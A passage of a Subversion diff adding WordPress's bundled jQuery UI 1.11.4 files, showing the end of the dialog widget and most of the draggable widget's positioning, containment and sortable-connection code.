+			this.uiDialogTitlebarClose.button({
+				// Ensure that we always pass a string
+				label: "" + value
+			});
+		}
+
+		if ( key === "draggable" ) {
+			isDraggable = uiDialog.is( ":data(ui-draggable)" );
+			if ( isDraggable && !value ) {
+				uiDialog.draggable( "destroy" );
+			}
+
+			if ( !isDraggable && value ) {
+				this._makeDraggable();
+			}
+		}
+
+		if ( key === "position" ) {
+			this._position();
+		}
+
+		if ( key === "resizable" ) {
+			// currently resizable, becoming non-resizable
+			isResizable = uiDialog.is( ":data(ui-resizable)" );
+			if ( isResizable && !value ) {
+				uiDialog.resizable( "destroy" );
+			}
+
+			// currently resizable, changing handles
+			if ( isResizable && typeof value === "string" ) {
+				uiDialog.resizable( "option", "handles", value );
+			}
+
+			// currently non-resizable, becoming resizable
+			if ( !isResizable && value !== false ) {
+				this._makeResizable();
+			}
+		}
+
+		if ( key === "title" ) {
+			this._title( this.uiDialogTitlebar.find( ".ui-dialog-title" ) );
+		}
+	},
+
+	_size: function() {
+		// If the user has resized the dialog, the .ui-dialog and .ui-dialog-content
+		// divs will both have width and height set, so we need to reset them
+		var nonContentHeight, minContentHeight, maxContentHeight,
+			options = this.options;
+
+		// Reset content sizing
+		this.element.show().css({
+			width: "auto",
+			minHeight: 0,
+			maxHeight: "none",
+			height: 0
+		});
+
+		if ( options.minWidth > options.width ) {
+			options.width = options.minWidth;
+		}
+
+		// reset wrapper sizing
+		// determine the height of all the non-content elements
+		nonContentHeight = this.uiDialog.css({
+				height: "auto",
+				width: options.width
+			})
+			.outerHeight();
+		minContentHeight = Math.max( 0, options.minHeight - nonContentHeight );
+		maxContentHeight = typeof options.maxHeight === "number" ?
+			Math.max( 0, options.maxHeight - nonContentHeight ) :
+			"none";
+
+		if ( options.height === "auto" ) {
+			this.element.css({
+				minHeight: minContentHeight,
+				maxHeight: maxContentHeight,
+				height: "auto"
+			});
+		} else {
+			this.element.height( Math.max( 0, options.height - nonContentHeight ) );
+		}
+
+		if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
+			this.uiDialog.resizable( "option", "minHeight", this._minHeight() );
+		}
+	},
+
+	_blockFrames: function() {
+		this.iframeBlocks = this.document.find( "iframe" ).map(function() {
+			var iframe = $( this );
+
+			return $( "<div>" )
+				.css({
+					position: "absolute",
+					width: iframe.outerWidth(),
+					height: iframe.outerHeight()
+				})
+				.appendTo( iframe.parent() )
+				.offset( iframe.offset() )[0];
+		});
+	},
+
+	_unblockFrames: function() {
+		if ( this.iframeBlocks ) {
+			this.iframeBlocks.remove();
+			delete this.iframeBlocks;
+		}
+	},
+
+	_allowInteraction: function( event ) {
+		if ( $( event.target ).closest( ".ui-dialog" ).length ) {
+			return true;
+		}
+
+		// TODO: Remove hack when datepicker implements
+		// the .ui-front logic (#8989)
+		return !!$( event.target ).closest( ".ui-datepicker" ).length;
+	},
+
+	_createOverlay: function() {
+		if ( !this.options.modal ) {
+			return;
+		}
+
+		// We use a delay in case the overlay is created from an
+		// event that we're going to be cancelling (#2804)
+		var isOpening = true;
+		this._delay(function() {
+			isOpening = false;
+		});
+
+		if ( !this.document.data( "ui-dialog-overlays" ) ) {
+
+			// Prevent use of anchors and inputs
+			// Using _on() for an event handler shared across many instances is
+			// safe because the dialogs stack and must be closed in reverse order
+			this._on( this.document, {
+				focusin: function( event ) {
+					if ( isOpening ) {
+						return;
+					}
+
+					if ( !this._allowInteraction( event ) ) {
+						event.preventDefault();
+						this._trackingInstances()[ 0 ]._focusTabbable();
+					}
+				}
+			});
+		}
+
+		this.overlay = $( "<div>" )
+			.addClass( "ui-widget-overlay ui-front" )
+			.appendTo( this._appendTo() );
+		this._on( this.overlay, {
+			mousedown: "_keepFocus"
+		});
+		this.document.data( "ui-dialog-overlays",
+			(this.document.data( "ui-dialog-overlays" ) || 0) + 1 );
+	},
+
+	_destroyOverlay: function() {
+		if ( !this.options.modal ) {
+			return;
+		}
+
+		if ( this.overlay ) {
+			var overlays = this.document.data( "ui-dialog-overlays" ) - 1;
+
+			if ( !overlays ) {
+				this.document
+					.unbind( "focusin" )
+					.removeData( "ui-dialog-overlays" );
+			} else {
+				this.document.data( "ui-dialog-overlays", overlays );
+			}
+
+			this.overlay.remove();
+			this.overlay = null;
+		}
+	}
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/draggable.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/draggable.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/draggable.js	(revision 56912)
@@ -0,0 +1,1132 @@
+/*!
+ * jQuery UI Draggable 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/draggable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.widget("ui.draggable", $.ui.mouse, {
+	version: "1.11.4",
+	widgetEventPrefix: "drag",
+	options: {
+		addClasses: true,
+		appendTo: "parent",
+		axis: false,
+		connectToSortable: false,
+		containment: false,
+		cursor: "auto",
+		cursorAt: false,
+		grid: false,
+		handle: false,
+		helper: "original",
+		iframeFix: false,
+		opacity: false,
+		refreshPositions: false,
+		revert: false,
+		revertDuration: 500,
+		scope: "default",
+		scroll: true,
+		scrollSensitivity: 20,
+		scrollSpeed: 20,
+		snap: false,
+		snapMode: "both",
+		snapTolerance: 20,
+		stack: false,
+		zIndex: false,
+
+		// callbacks
+		drag: null,
+		start: null,
+		stop: null
+	},
+	_create: function() {
+
+		if ( this.options.helper === "original" ) {
+			this._setPositionRelative();
+		}
+		if (this.options.addClasses){
+			this.element.addClass("ui-draggable");
+		}
+		if (this.options.disabled){
+			this.element.addClass("ui-draggable-disabled");
+		}
+		this._setHandleClassName();
+
+		this._mouseInit();
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+		if ( key === "handle" ) {
+			this._removeHandleClassName();
+			this._setHandleClassName();
+		}
+	},
+
+	_destroy: function() {
+		if ( ( this.helper || this.element ).is( ".ui-draggable-dragging" ) ) {
+			this.destroyOnClear = true;
+			return;
+		}
+		this.element.removeClass( "ui-draggable ui-draggable-dragging ui-draggable-disabled" );
+		this._removeHandleClassName();
+		this._mouseDestroy();
+	},
+
+	_mouseCapture: function(event) {
+		var o = this.options;
+
+		this._blurActiveElement( event );
+
+		// among others, prevent a drag on a resizable-handle
+		if (this.helper || o.disabled || $(event.target).closest(".ui-resizable-handle").length > 0) {
+			return false;
+		}
+
+		//Quit if we're not on a valid handle
+		this.handle = this._getHandle(event);
+		if (!this.handle) {
+			return false;
+		}
+
+		this._blockFrames( o.iframeFix === true ? "iframe" : o.iframeFix );
+
+		return true;
+
+	},
+
+	_blockFrames: function( selector ) {
+		this.iframeBlocks = this.document.find( selector ).map(function() {
+			var iframe = $( this );
+
+			return $( "<div>" )
+				.css( "position", "absolute" )
+				.appendTo( iframe.parent() )
+				.outerWidth( iframe.outerWidth() )
+				.outerHeight( iframe.outerHeight() )
+				.offset( iframe.offset() )[ 0 ];
+		});
+	},
+
+	_unblockFrames: function() {
+		if ( this.iframeBlocks ) {
+			this.iframeBlocks.remove();
+			delete this.iframeBlocks;
+		}
+	},
+
+	_blurActiveElement: function( event ) {
+		var document = this.document[ 0 ];
+
+		// Only need to blur if the event occurred on the draggable itself, see #10527
+		if ( !this.handleElement.is( event.target ) ) {
+			return;
+		}
+
+		// support: IE9
+		// IE9 throws an "Unspecified error" accessing document.activeElement from an <iframe>
+		try {
+
+			// Support: IE9, IE10
+			// If the <body> is blurred, IE will switch windows, see #9520
+			if ( document.activeElement && document.activeElement.nodeName.toLowerCase() !== "body" ) {
+
+				// Blur any element that currently has focus, see #4261
+				$( document.activeElement ).blur();
+			}
+		} catch ( error ) {}
+	},
+
+	_mouseStart: function(event) {
+
+		var o = this.options;
+
+		//Create and append the visible helper
+		this.helper = this._createHelper(event);
+
+		this.helper.addClass("ui-draggable-dragging");
+
+		//Cache the helper size
+		this._cacheHelperProportions();
+
+		//If ddmanager is used for droppables, set the global draggable
+		if ($.ui.ddmanager) {
+			$.ui.ddmanager.current = this;
+		}
+
+		/*
+		 * - Position generation -
+		 * This block generates everything position related - it's the core of draggables.
+		 */
+
+		//Cache the margins of the original element
+		this._cacheMargins();
+
+		//Store the helper's css position
+		this.cssPosition = this.helper.css( "position" );
+		this.scrollParent = this.helper.scrollParent( true );
+		this.offsetParent = this.helper.offsetParent();
+		this.hasFixedAncestor = this.helper.parents().filter(function() {
+				return $( this ).css( "position" ) === "fixed";
+			}).length > 0;
+
+		//The element's absolute position on the page minus margins
+		this.positionAbs = this.element.offset();
+		this._refreshOffsets( event );
+
+		//Generate the original position
+		this.originalPosition = this.position = this._generatePosition( event, false );
+		this.originalPageX = event.pageX;
+		this.originalPageY = event.pageY;
+
+		//Adjust the mouse offset relative to the helper if "cursorAt" is supplied
+		(o.cursorAt && this._adjustOffsetFromHelper(o.cursorAt));
+
+		//Set a containment if given in the options
+		this._setContainment();
+
+		//Trigger event + callbacks
+		if (this._trigger("start", event) === false) {
+			this._clear();
+			return false;
+		}
+
+		//Recache the helper size
+		this._cacheHelperProportions();
+
+		//Prepare the droppable offsets
+		if ($.ui.ddmanager && !o.dropBehaviour) {
+			$.ui.ddmanager.prepareOffsets(this, event);
+		}
+
+		// Reset helper's right/bottom css if they're set and set explicit width/height instead
+		// as this prevents resizing of elements with right/bottom set (see #7772)
+		this._normalizeRightBottom();
+
+		this._mouseDrag(event, true); //Execute the drag once - this causes the helper not to be visible before getting its correct position
+
+		//If the ddmanager is used for droppables, inform the manager that dragging has started (see #5003)
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.dragStart(this, event);
+		}
+
+		return true;
+	},
+
+	_refreshOffsets: function( event ) {
+		this.offset = {
+			top: this.positionAbs.top - this.margins.top,
+			left: this.positionAbs.left - this.margins.left,
+			scroll: false,
+			parent: this._getParentOffset(),
+			relative: this._getRelativeOffset()
+		};
+
+		this.offset.click = {
+			left: event.pageX - this.offset.left,
+			top: event.pageY - this.offset.top
+		};
+	},
+
+	_mouseDrag: function(event, noPropagation) {
+		// reset any necessary cached properties (see #5009)
+		if ( this.hasFixedAncestor ) {
+			this.offset.parent = this._getParentOffset();
+		}
+
+		//Compute the helpers position
+		this.position = this._generatePosition( event, true );
+		this.positionAbs = this._convertPositionTo("absolute");
+
+		//Call plugins and callbacks and use the resulting position if something is returned
+		if (!noPropagation) {
+			var ui = this._uiHash();
+			if (this._trigger("drag", event, ui) === false) {
+				this._mouseUp({});
+				return false;
+			}
+			this.position = ui.position;
+		}
+
+		this.helper[ 0 ].style.left = this.position.left + "px";
+		this.helper[ 0 ].style.top = this.position.top + "px";
+
+		if ($.ui.ddmanager) {
+			$.ui.ddmanager.drag(this, event);
+		}
+
+		return false;
+	},
+
+	_mouseStop: function(event) {
+
+		//If we are using droppables, inform the manager about the drop
+		var that = this,
+			dropped = false;
+		if ($.ui.ddmanager && !this.options.dropBehaviour) {
+			dropped = $.ui.ddmanager.drop(this, event);
+		}
+
+		//if a drop comes from outside (a sortable)
+		if (this.dropped) {
+			dropped = this.dropped;
+			this.dropped = false;
+		}
+
+		if ((this.options.revert === "invalid" && !dropped) || (this.options.revert === "valid" && dropped) || this.options.revert === true || ($.isFunction(this.options.revert) && this.options.revert.call(this.element, dropped))) {
+			$(this.helper).animate(this.originalPosition, parseInt(this.options.revertDuration, 10), function() {
+				if (that._trigger("stop", event) !== false) {
+					that._clear();
+				}
+			});
+		} else {
+			if (this._trigger("stop", event) !== false) {
+				this._clear();
+			}
+		}
+
+		return false;
+	},
+
+	_mouseUp: function( event ) {
+		this._unblockFrames();
+
+		//If the ddmanager is used for droppables, inform the manager that dragging has stopped (see #5003)
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.dragStop(this, event);
+		}
+
+		// Only need to focus if the event occurred on the draggable itself, see #10527
+		if ( this.handleElement.is( event.target ) ) {
+			// The interaction is over; whether or not the click resulted in a drag, focus the element
+			this.element.focus();
+		}
+
+		return $.ui.mouse.prototype._mouseUp.call(this, event);
+	},
+
+	cancel: function() {
+
+		if (this.helper.is(".ui-draggable-dragging")) {
+			this._mouseUp({});
+		} else {
+			this._clear();
+		}
+
+		return this;
+
+	},
+
+	_getHandle: function(event) {
+		return this.options.handle ?
+			!!$( event.target ).closest( this.element.find( this.options.handle ) ).length :
+			true;
+	},
+
+	_setHandleClassName: function() {
+		this.handleElement = this.options.handle ?
+			this.element.find( this.options.handle ) : this.element;
+		this.handleElement.addClass( "ui-draggable-handle" );
+	},
+
+	_removeHandleClassName: function() {
+		this.handleElement.removeClass( "ui-draggable-handle" );
+	},
+
+	_createHelper: function(event) {
+
+		var o = this.options,
+			helperIsFunction = $.isFunction( o.helper ),
+			helper = helperIsFunction ?
+				$( o.helper.apply( this.element[ 0 ], [ event ] ) ) :
+				( o.helper === "clone" ?
+					this.element.clone().removeAttr( "id" ) :
+					this.element );
+
+		if (!helper.parents("body").length) {
+			helper.appendTo((o.appendTo === "parent" ? this.element[0].parentNode : o.appendTo));
+		}
+
+		// http://bugs.jqueryui.com/ticket/9446
+		// a helper function can return the original element
+		// which wouldn't have been set to relative in _create
+		if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) {
+			this._setPositionRelative();
+		}
+
+		if (helper[0] !== this.element[0] && !(/(fixed|absolute)/).test(helper.css("position"))) {
+			helper.css("position", "absolute");
+		}
+
+		return helper;
+
+	},
+
+	_setPositionRelative: function() {
+		if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) ) {
+			this.element[ 0 ].style.position = "relative";
+		}
+	},
+
+	_adjustOffsetFromHelper: function(obj) {
+		if (typeof obj === "string") {
+			obj = obj.split(" ");
+		}
+		if ($.isArray(obj)) {
+			obj = { left: +obj[0], top: +obj[1] || 0 };
+		}
+		if ("left" in obj) {
+			this.offset.click.left = obj.left + this.margins.left;
+		}
+		if ("right" in obj) {
+			this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
+		}
+		if ("top" in obj) {
+			this.offset.click.top = obj.top + this.margins.top;
+		}
+		if ("bottom" in obj) {
+			this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
+		}
+	},
+
+	_isRootNode: function( element ) {
+		return ( /(html|body)/i ).test( element.tagName ) || element === this.document[ 0 ];
+	},
+
+	_getParentOffset: function() {
+
+		//Get the offsetParent and cache its position
+		var po = this.offsetParent.offset(),
+			document = this.document[ 0 ];
+
+		// This is a special case where we need to modify a offset calculated on start, since the following happened:
+		// 1. The position of the helper is absolute, so it's position is calculated based on the next positioned parent
+		// 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't the document, which means that
+		//    the scroll is included in the initial calculation of the offset of the parent, and never recalculated upon drag
+		if (this.cssPosition === "absolute" && this.scrollParent[0] !== document && $.contains(this.scrollParent[0], this.offsetParent[0])) {
+			po.left += this.scrollParent.scrollLeft();
+			po.top += this.scrollParent.scrollTop();
+		}
+
+		if ( this._isRootNode( this.offsetParent[ 0 ] ) ) {
+			po = { top: 0, left: 0 };
+		}
+
+		return {
+			top: po.top + (parseInt(this.offsetParent.css("borderTopWidth"), 10) || 0),
+			left: po.left + (parseInt(this.offsetParent.css("borderLeftWidth"), 10) || 0)
+		};
+
+	},
+
+	_getRelativeOffset: function() {
+		if ( this.cssPosition !== "relative" ) {
+			return { top: 0, left: 0 };
+		}
+
+		var p = this.element.position(),
+			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
+
+		return {
+			top: p.top - ( parseInt(this.helper.css( "top" ), 10) || 0 ) + ( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ),
+			left: p.left - ( parseInt(this.helper.css( "left" ), 10) || 0 ) + ( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 )
+		};
+
+	},
+
+	_cacheMargins: function() {
+		this.margins = {
+			left: (parseInt(this.element.css("marginLeft"), 10) || 0),
+			top: (parseInt(this.element.css("marginTop"), 10) || 0),
+			right: (parseInt(this.element.css("marginRight"), 10) || 0),
+			bottom: (parseInt(this.element.css("marginBottom"), 10) || 0)
+		};
+	},
+
+	_cacheHelperProportions: function() {
+		this.helperProportions = {
+			width: this.helper.outerWidth(),
+			height: this.helper.outerHeight()
+		};
+	},
+
+	_setContainment: function() {
+
+		var isUserScrollable, c, ce,
+			o = this.options,
+			document = this.document[ 0 ];
+
+		this.relativeContainer = null;
+
+		if ( !o.containment ) {
+			this.containment = null;
+			return;
+		}
+
+		if ( o.containment === "window" ) {
+			this.containment = [
+				$( window ).scrollLeft() - this.offset.relative.left - this.offset.parent.left,
+				$( window ).scrollTop() - this.offset.relative.top - this.offset.parent.top,
+				$( window ).scrollLeft() + $( window ).width() - this.helperProportions.width - this.margins.left,
+				$( window ).scrollTop() + ( $( window ).height() || document.body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top
+			];
+			return;
+		}
+
+		if ( o.containment === "document") {
+			this.containment = [
+				0,
+				0,
+				$( document ).width() - this.helperProportions.width - this.margins.left,
+				( $( document ).height() || document.body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top
+			];
+			return;
+		}
+
+		if ( o.containment.constructor === Array ) {
+			this.containment = o.containment;
+			return;
+		}
+
+		if ( o.containment === "parent" ) {
+			o.containment = this.helper[ 0 ].parentNode;
+		}
+
+		c = $( o.containment );
+		ce = c[ 0 ];
+
+		if ( !ce ) {
+			return;
+		}
+
+		isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) );
+
+		this.containment = [
+			( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) + ( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ),
+			( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) + ( parseInt( c.css( "paddingTop" ), 10 ) || 0 ),
+			( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) -
+				( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) -
+				( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) -
+				this.helperProportions.width -
+				this.margins.left -
+				this.margins.right,
+			( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) -
+				( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) -
+				( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) -
+				this.helperProportions.height -
+				this.margins.top -
+				this.margins.bottom
+		];
+		this.relativeContainer = c;
+	},
+
+	_convertPositionTo: function(d, pos) {
+
+		if (!pos) {
+			pos = this.position;
+		}
+
+		var mod = d === "absolute" ? 1 : -1,
+			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
+
+		return {
+			top: (
+				pos.top	+																// The absolute mouse position
+				this.offset.relative.top * mod +										// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.top * mod -										// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.offset.scroll.top : ( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod)
+			),
+			left: (
+				pos.left +																// The absolute mouse position
+				this.offset.relative.left * mod +										// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.left * mod	-										// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.offset.scroll.left : ( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod)
+			)
+		};
+
+	},
+
+	_generatePosition: function( event, constrainPosition ) {
+
+		var containment, co, top, left,
+			o = this.options,
+			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ),
+			pageX = event.pageX,
+			pageY = event.pageY;
+
+		// Cache the scroll
+		if ( !scrollIsRootNode || !this.offset.scroll ) {
+			this.offset.scroll = {
+				top: this.scrollParent.scrollTop(),
+				left: this.scrollParent.scrollLeft()
+			};
+		}
+
+		/*
+		 * - Position constraining -
+		 * Constrain the position to a mix of grid, containment.
+		 */
+
+		// If we are not dragging yet, we won't check for options
+		if ( constrainPosition ) {
+			if ( this.containment ) {
+				if ( this.relativeContainer ){
+					co = this.relativeContainer.offset();
+					containment = [
+						this.containment[ 0 ] + co.left,
+						this.containment[ 1 ] + co.top,
+						this.containment[ 2 ] + co.left,
+						this.containment[ 3 ] + co.top
+					];
+				} else {
+					containment = this.containment;
+				}
+
+				if (event.pageX - this.offset.click.left < containment[0]) {
+					pageX = containment[0] + this.offset.click.left;
+				}
+				if (event.pageY - this.offset.click.top < containment[1]) {
+					pageY = containment[1] + this.offset.click.top;
+				}
+				if (event.pageX - this.offset.click.left > containment[2]) {
+					pageX = containment[2] + this.offset.click.left;
+				}
+				if (event.pageY - this.offset.click.top > containment[3]) {
+					pageY = containment[3] + this.offset.click.top;
+				}
+			}
+
+			if (o.grid) {
+				//Check for grid elements set to 0 to prevent divide by 0 error causing invalid argument errors in IE (see ticket #6950)
+				top = o.grid[1] ? this.originalPageY + Math.round((pageY - this.originalPageY) / o.grid[1]) * o.grid[1] : this.originalPageY;
+				pageY = containment ? ((top - this.offset.click.top >= containment[1] || top - this.offset.click.top > containment[3]) ? top : ((top - this.offset.click.top >= containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
+
+				left = o.grid[0] ? this.originalPageX + Math.round((pageX - this.originalPageX) / o.grid[0]) * o.grid[0] : this.originalPageX;
+				pageX = containment ? ((left - this.offset.click.left >= containment[0] || left - this.offset.click.left > containment[2]) ? left : ((left - this.offset.click.left >= containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
+			}
+
+			if ( o.axis === "y" ) {
+				pageX = this.originalPageX;
+			}
+
+			if ( o.axis === "x" ) {
+				pageY = this.originalPageY;
+			}
+		}
+
+		return {
+			top: (
+				pageY -																	// The absolute mouse position
+				this.offset.click.top	-												// Click offset (relative to the element)
+				this.offset.relative.top -												// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.top +												// The offsetParent's offset without borders (offset + border)
+				( this.cssPosition === "fixed" ? -this.offset.scroll.top : ( scrollIsRootNode ? 0 : this.offset.scroll.top ) )
+			),
+			left: (
+				pageX -																	// The absolute mouse position
+				this.offset.click.left -												// Click offset (relative to the element)
+				this.offset.relative.left -												// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.left +												// The offsetParent's offset without borders (offset + border)
+				( this.cssPosition === "fixed" ? -this.offset.scroll.left : ( scrollIsRootNode ? 0 : this.offset.scroll.left ) )
+			)
+		};
+
+	},
+
+	_clear: function() {
+		this.helper.removeClass("ui-draggable-dragging");
+		if (this.helper[0] !== this.element[0] && !this.cancelHelperRemoval) {
+			this.helper.remove();
+		}
+		this.helper = null;
+		this.cancelHelperRemoval = false;
+		if ( this.destroyOnClear ) {
+			this.destroy();
+		}
+	},
+
+	_normalizeRightBottom: function() {
+		if ( this.options.axis !== "y" && this.helper.css( "right" ) !== "auto" ) {
+			this.helper.width( this.helper.width() );
+			this.helper.css( "right", "auto" );
+		}
+		if ( this.options.axis !== "x" && this.helper.css( "bottom" ) !== "auto" ) {
+			this.helper.height( this.helper.height() );
+			this.helper.css( "bottom", "auto" );
+		}
+	},
+
+	// From now on bulk stuff - mainly helpers
+
+	_trigger: function( type, event, ui ) {
+		ui = ui || this._uiHash();
+		$.ui.plugin.call( this, type, [ event, ui, this ], true );
+
+		// Absolute position and offset (see #6884 ) have to be recalculated after plugins
+		if ( /^(drag|start|stop)/.test( type ) ) {
+			this.positionAbs = this._convertPositionTo( "absolute" );
+			ui.offset = this.positionAbs;
+		}
+		return $.Widget.prototype._trigger.call( this, type, event, ui );
+	},
+
+	plugins: {},
+
+	_uiHash: function() {
+		return {
+			helper: this.helper,
+			position: this.position,
+			originalPosition: this.originalPosition,
+			offset: this.positionAbs
+		};
+	}
+
+});
+
+$.ui.plugin.add( "draggable", "connectToSortable", {
+	start: function( event, ui, draggable ) {
+		var uiSortable = $.extend( {}, ui, {
+			item: draggable.element
+		});
+
+		draggable.sortables = [];
+		$( draggable.options.connectToSortable ).each(function() {
+			var sortable = $( this ).sortable( "instance" );
+
+			if ( sortable && !sortable.options.disabled ) {
+				draggable.sortables.push( sortable );
+
+				// refreshPositions is called at drag start to refresh the containerCache
+				// which is used in drag. This ensures it's initialized and synchronized
+				// with any changes that might have happened on the page since initialization.
+				sortable.refreshPositions();
+				sortable._trigger("activate", event, uiSortable);
+			}
+		});
+	},
+	stop: function( event, ui, draggable ) {
+		var uiSortable = $.extend( {}, ui, {
+			item: draggable.element
+		});
+
+		draggable.cancelHelperRemoval = false;
+
+		$.each( draggable.sortables, function() {
+			var sortable = this;
+
+			if ( sortable.isOver ) {
+				sortable.isOver = 0;
+
+				// Allow this sortable to handle removing the helper
+				draggable.cancelHelperRemoval = true;
+				sortable.cancelHelperRemoval = false;
+
+				// Use _storedCSS To restore properties in the sortable,
+				// as this also handles revert (#9675) since the draggable
+				// may have modified them in unexpected ways (#8809)
+				sortable._storedCSS = {
+					position: sortable.placeholder.css( "position" ),
+					top: sortable.placeholder.css( "top" ),
+					left: sortable.placeholder.css( "left" )
+				};
+
+				sortable._mouseStop(event);
+
+				// Once drag has ended, the sortable should return to using
+				// its original helper, not the shared helper from draggable
+				sortable.options.helper = sortable.options._helper;
+			} else {
+				// Prevent this Sortable from removing the helper.
+				// However, don't set the draggable to remove the helper
+				// either as another connected Sortable may yet handle the removal.
+				sortable.cancelHelperRemoval = true;
+
+				sortable._trigger( "deactivate", event, uiSortable );
+			}
+		});
+	},
+	drag: function( event, ui, draggable ) {
+		$.each( draggable.sortables, function() {
+			var innermostIntersecting = false,
+				sortable = this;
+
+			// Copy over variables that sortable's _intersectsWith uses
+			sortable.positionAbs = draggable.positionAbs;
+			sortable.helperProportions = draggable.helperProportions;
+			sortable.offset.click = draggable.offset.click;
+
+			if ( sortable._intersectsWith( sortable.containerCache ) ) {
+				innermostIntersecting = true;
+
+				$.each( draggable.sortables, function() {
+					// Copy over variables that sortable's _intersectsWith uses
+					this.positionAbs = draggable.positionAbs;
+					this.helperProportions = draggable.helperProportions;
+					this.offset.click = draggable.offset.click;
+
+					if ( this !== sortable &&
+							this._intersectsWith( this.containerCache ) &&
+							$.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) {
+						innermostIntersecting = false;
+					}
+
+					return innermostIntersecting;
+				});
+			}
+
+			if ( innermostIntersecting ) {
+				// If it intersects, we use a little isOver variable and set it once,
+				// so that the move-in stuff gets fired only once.
+				if ( !sortable.isOver ) {
+					sortable.isOver = 1;
+
+					// Store draggable's parent in case we need to reappend to it later.
+					draggable._parent = ui.helper.parent();
+
+					sortable.currentItem = ui.helper
+						.appendTo( sortable.element )
+						.data( "ui-sortable-item", true );
+
+					// Store helper option to later restore it
+					sortable.options._helper = sortable.options.helper;
+
+					sortable.options.helper = function() {
+						return ui.helper[ 0 ];
+					};
+
+					// Fire the start events of the sortable with our passed browser event,
+					// and our own helper (so it doesn't create a new one)
+					event.target = sortable.currentItem[ 0 ];
+					sortable._mouseCapture( event, true );
+					sortable._mouseStart( event, true, true );
+
+					// Because the browser event is way off the new appended portlet,
+					// modify necessary variables to reflect the changes
+					sortable.offset.click.top = draggable.offset.click.top;
+					sortable.offset.click.left = draggable.offset.click.left;
+					sortable.offset.parent.left -= draggable.offset.parent.left -
+						sortable.offset.parent.left;
+					sortable.offset.parent.top -= draggable.offset.parent.top -
+						sortable.offset.parent.top;
+
+					draggable._trigger( "toSortable", event );
+
+					// Inform draggable that the helper is in a valid drop zone,
+					// used solely in the revert option to handle "valid/invalid".
+					draggable.dropped = sortable.element;
+
+					// Need to refreshPositions of all sortables in the case that
+					// adding to one sortable changes the location of the other sortables (#9675)
+					$.each( draggable.sortables, function() {
+						this.refreshPositions();
+					});
+
+					// hack so receive/update callbacks work (mostly)
+					draggable.currentItem = draggable.element;
+					sortable.fromOutside = draggable;
+				}
+
+				if ( sortable.currentItem ) {
+					sortable._mouseDrag( event );
+					// Copy the sortable's position because the draggable's can potentially reflect
+					// a relative position, while sortable is always absolute, which the dragged
+					// element has now become. (#8809)
+					ui.position = sortable.position;
+				}
+			} else {
+				// If it doesn't intersect with the sortable, and it intersected before,
+				// we fake the drag stop of the sortable, but make sure it doesn't remove
+				// the helper by using cancelHelperRemoval.
+				if ( sortable.isOver ) {
+
+					sortable.isOver = 0;
+					sortable.cancelHelperRemoval = true;
+
+					// Calling sortable's mouseStop would trigger a revert,
+					// so revert must be temporarily false until after mouseStop is called.
+					sortable.options._revert = sortable.options.revert;
+					sortable.options.revert = false;
+
+					sortable._trigger( "out", event, sortable._uiHash( sortable ) );
+					sortable._mouseStop( event, true );
+
+					// restore sortable behaviors that were modfied
+					// when the draggable entered the sortable area (#9481)
+					sortable.options.revert = sortable.options._revert;
+					sortable.options.helper = sortable.options._helper;
+
+					if ( sortable.placeholder ) {
+						sortable.placeholder.remove();
+					}
+
+					// Restore and recalculate the draggable's offset considering the sortable
+					// may have modified them in unexpected ways. (#8809, #10669)
+					ui.helper.appendTo( draggable._parent );
+					draggable._refreshOffsets( event );
+					ui.position = draggable._generatePosition( event, true );
+
+					draggable._trigger( "fromSortable", event );
+
+					// Inform draggable that the helper is no longer in a valid drop zone
+					draggable.dropped = false;
+
+					// Need to refreshPositions of all sortables just in case removing
+					// from one sortable changes the location of other sortables (#9675)
+					$.each( draggable.sortables, function() {
+						this.refreshPositions();
+					});
+				}
+			}
+		});
+	}
+});
+
+$.ui.plugin.add("draggable", "cursor", {
+	start: function( event, ui, instance ) {
